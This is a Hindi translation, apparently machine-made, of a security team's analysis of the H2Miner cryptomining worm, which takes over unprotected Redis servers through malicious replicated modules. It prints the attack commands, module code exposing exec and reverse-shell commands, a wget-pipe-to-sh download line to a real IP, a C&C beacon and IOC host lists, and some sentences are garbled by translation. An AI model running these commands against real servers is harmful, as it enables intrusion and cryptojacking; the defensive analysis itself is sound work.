💪🏽 🏦 👃🏻 एक्सप्लिट रेडिस आरसीई की खोज में H2Miner कृमि का नया प्रकोप 🧑🏾‍🤝‍🧑🏾 💊 😈

एक दिन पहले, मेरी परियोजना में एक सर्वर पर एक समान कृमि द्वारा हमला किया गया था। इस सवाल के जवाब की तलाश में "यह क्या था?" मुझे अलीबाबा क्लाउड सिक्योरिटी टीम ने एक अद्भुत लेख मिला। चूँकि मुझे यह लेख Habr पर नहीं मिला, इसलिए मैंने इसे विशेष रूप से आपके लिए <3 अनुवाद करने का निर्णय लिया

प्रविष्टि

अलीबाबा क्लाउड सुरक्षा टीम ने हाल ही में H2Miner के अचानक प्रकोप का पता लगाया। इस प्रकार के दुर्भावनापूर्ण कृमि आपके सिस्टम के गेटवे के रूप में रेडिस के लिए प्राधिकरण या कमजोर पासवर्ड की कमी का उपयोग करते हैं, जिसके बाद यह मास्टर-स्लेव सिंक्रनाइज़ेशन के माध्यम से दास के साथ अपने स्वयं के दुर्भावनापूर्ण मॉड्यूल को सिंक्रनाइज़ करता है और अंत में इस दुर्भावनापूर्ण मॉड्यूल को हमला मशीन में डाउनलोड करता है और दुर्भावनापूर्ण निर्देशों को निष्पादित करता है।

अतीत में, आपके सिस्टम पर हमले मुख्य रूप से एक विधि का उपयोग करके किए गए थे जिसमें शेड्यूल किए गए कार्य या एसएसएच कुंजी शामिल थे जो आपके मशीन पर रेडिस में लॉग इन करने के बाद लिखे गए थे। सौभाग्य से, इस विधि का उपयोग अक्सर अनुमति नियंत्रण के साथ समस्याओं के कारण या सिस्टम के विभिन्न संस्करणों के कारण नहीं किया जा सकता है। हालांकि, दुर्भावनापूर्ण मॉड्यूल को डाउनलोड करने की यह विधि सीधे हमलावर की आज्ञाओं को निष्पादित कर सकती है या शेल तक पहुंच प्राप्त कर सकती है, जो आपके सिस्टम के लिए खतरनाक है।

इंटरनेट पर (लगभग 1 मिलियन) होस्ट किए गए रेडिस सर्वरों की बड़ी संख्या के कारण, अलीबाबा क्लाउड सुरक्षा टीम, एक दोस्ताना अनुस्मारक के रूप में, उपयोगकर्ताओं को नेटवर्क से रेडिस तक पहुंच प्रदान नहीं करने और नियमित रूप से अपने पासवर्ड की ताकत की जांच करने की सिफारिश करती है, साथ ही वे इसके अधीन हैं। त्वरित चयन।

H2Miner

H2Miner लिनक्स-आधारित सिस्टम के लिए एक खनन बॉटनेट है जो आपके सिस्टम को विभिन्न तरीकों से आक्रमण कर सकता है, जिसमें Hadoop यार्न, डोकर और रेडिस रिमोट कमांड एक्ज़ीक्यूशन वल्नेरेबिलिटी (RCE) में प्राधिकरण की कमी शामिल है। बोटनेट दुर्भावनापूर्ण स्क्रिप्ट डाउनलोड करने और आपके डेटा को खदान करने के लिए मैलवेयर द्वारा काम करता है, हमले को क्षैतिज रूप से बढ़ाता है और कमांड और नियंत्रण (सी एंड सी) संचार बनाए रखता है।

रेडिस रे

Pavel Toporkov ने ZeroNights 2018 में इस मुद्दे पर अपना ज्ञान साझा किया। संस्करण 4.0 के बाद, Redis बाहरी मॉड्यूल फ़ंक्शन को लोड करने का समर्थन करता है, जो उपयोगकर्ताओं को कुछ Redis कमांड निष्पादित करने के लिए Redis में C के साथ संकलित फ़ाइलों को डाउनलोड करने की क्षमता प्रदान करता है। यह सुविधा, हालांकि उपयोगी है, इसमें एक भेद्यता है, जिसमें मास्टर-स्लेव मोड में, फ़ाइलों को फ़ुलारेस्यूक मोड के माध्यम से दास के साथ सिंक्रनाइज़ किया जा सकता है। यह एक हमलावर द्वारा इतनी दुर्भावनापूर्ण फ़ाइलों को स्थानांतरित करने के लिए इस्तेमाल किया जा सकता है। स्थानांतरण पूरा होने के बाद, हमलावर हमलावर को Redis उदाहरण पर लोड करते हैं और किसी भी कमांड को निष्पादित करते हैं।

मैलवेयर कीड़ा विश्लेषण

हाल ही में, अलीबाबा क्लाउड सुरक्षा टीम ने पाया कि दुर्भावनापूर्ण H2Miner खनिक के समूह का आकार अचानक नाटकीय रूप से बढ़ गया। विश्लेषण के अनुसार, हमले की घटना की सामान्य प्रक्रिया इस प्रकार है:

H2Miner एक पूर्ण हमले के लिए RCE रेडिस का उपयोग करता है। सबसे पहले, हमलावर असुरक्षित रेडिस सर्वर या कमजोर पासवर्ड वाले सर्वर पर हमला करते हैं।

फिर वे फ़ाइल नाम को बदलने के लिए config set dbfilename red2.so का उपयोग करते हैं। उसके बाद, हमलावर मास्टर-दास प्रतिकृति होस्ट पता सेट करने के लिए दास की आदेश slaveof ।

जब Redis का हमला किया गया उदाहरण दुर्भावनापूर्ण Redis के साथ एक मास्टर-स्लेव कनेक्शन स्थापित करता है, जो हमलावर से संबंधित होता है, हमलावर फ़ाइलों को सिंक्रनाइज़ करने के लिए फ़ुलारेसुंक कमांड का उपयोग करके संक्रमित मॉड्यूल भेजता है। फिर red2.so फ़ाइल को लक्ष्य मशीन पर अपलोड किया जाएगा। उसके बाद, हमलावर इस फ़ाइल को डाउनलोड करने के लिए ./red2.so डाउनलोड मॉड्यूल का उपयोग करते हैं। मॉड्यूल हमलावर की आज्ञाओं को निष्पादित कर सकता है या हमला मशीन तक पहुंच प्राप्त करने के लिए एक रिवर्स कनेक्शन (पिछले दरवाजे) की शुरुआत कर सकता है।

 if (RedisModule_CreateCommand(ctx, "system.exec", DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR) return REDISMODULE_ERR; if (RedisModule_CreateCommand(ctx, "system.rev", RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR) return REDISMODULE_ERR;

/ bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1 जैसे दुर्भावनापूर्ण आदेश को निष्पादित करने के बाद / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1 / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1 , हमलावर बैकअप फ़ाइल नाम को रीसेट करेगा और निशान मिटाने के लिए सिस्टम मॉड्यूल को अनलोड करेगा। हालाँकि, red2.so फ़ाइल अभी भी अटैक मशीन पर रहेगी। उपयोगकर्ताओं को अपने रेडिस उदाहरण के फ़ोल्डर में ऐसी संदिग्ध फ़ाइल की उपस्थिति पर ध्यान देने की सलाह दी जाती है।

संसाधनों को चुराने के लिए कुछ दुर्भावनापूर्ण प्रक्रियाओं को नष्ट करने के अलावा, हमलावर ने दुर्भावनापूर्ण फाइलों को द्विपदीय रूप में 142.44.191.122/kinsing पर डाउनलोड और चलाकर एक दुर्भावनापूर्ण स्क्रिप्ट का पालन किया। इसका मतलब यह है कि प्रक्रिया नाम या होस्ट पर किंसिंग वाली निर्देशिका नाम इंगित कर सकता है कि यह मशीन इस वायरस से संक्रमित थी।

रिवर्स इंजीनियरिंग के परिणामों के अनुसार, दुर्भावनापूर्ण कार्यक्रम मूल रूप से निम्नलिखित कार्य करता है:

फ़ाइल डाउनलोड और निष्पादन
खनिज
C & C संचार बनाए रखना और हमलावर कमांड निष्पादित करना

प्रभाव का विस्तार करने के लिए बाहरी स्कैनिंग के लिए मासकेन का उपयोग करें। इसके अलावा, प्रोग्राम में C & C सर्वर का IP पता हार्ड-कोड किया गया है, और हमला किया गया होस्ट HTTP अनुरोधों का उपयोग करते हुए HTTP और C कम्युनिकेशंस सर्वर के साथ सहभागिता करेगा, जहाँ HTTP हेडर में ज़ोंबी (हैक किए गए सर्वर) जानकारी की पहचान की जाती है।

 GET /h HTTP/1.1 Host: 91.215.169.111 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Arch: amd64 Cores: 2 Mem: 3944 Os: linux Osname: debian Osversion: 10.0 Root: false S: k Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx Version: 26 Accept-Encoding: gzip

अन्य हमले के तरीके

कृमि का उपयोग करने वाले पते और लिंक

/ रिश्तेदारी

 • 142.44.191.122/t.sh • 185.92.74.42/h.sh • 142.44.191.122/spr.sh • 142.44.191.122/spre.sh • 195.3.146.118/unk.sh

सी और सी

 • 45.10.88.102 • 91.215.169.111 • 139.99.50.255 • 46.243.253.167 • 195.123.220.193

परिषद

सबसे पहले, रेडिस को इंटरनेट से एक्सेस करने के लिए खुला नहीं होना चाहिए और एक मजबूत पासवर्ड द्वारा संरक्षित किया जाना चाहिए। यह भी महत्वपूर्ण है कि क्लाइंट यह सत्यापित करें कि Redis निर्देशिका में कोई red2.so फ़ाइल नहीं है और होस्ट पर फ़ाइल / प्रक्रिया नाम में कोई "kinsing" नहीं है।

एक्सप्लिट रेडिस आरसीई की खोज में H2Miner कृमि का नया प्रकोप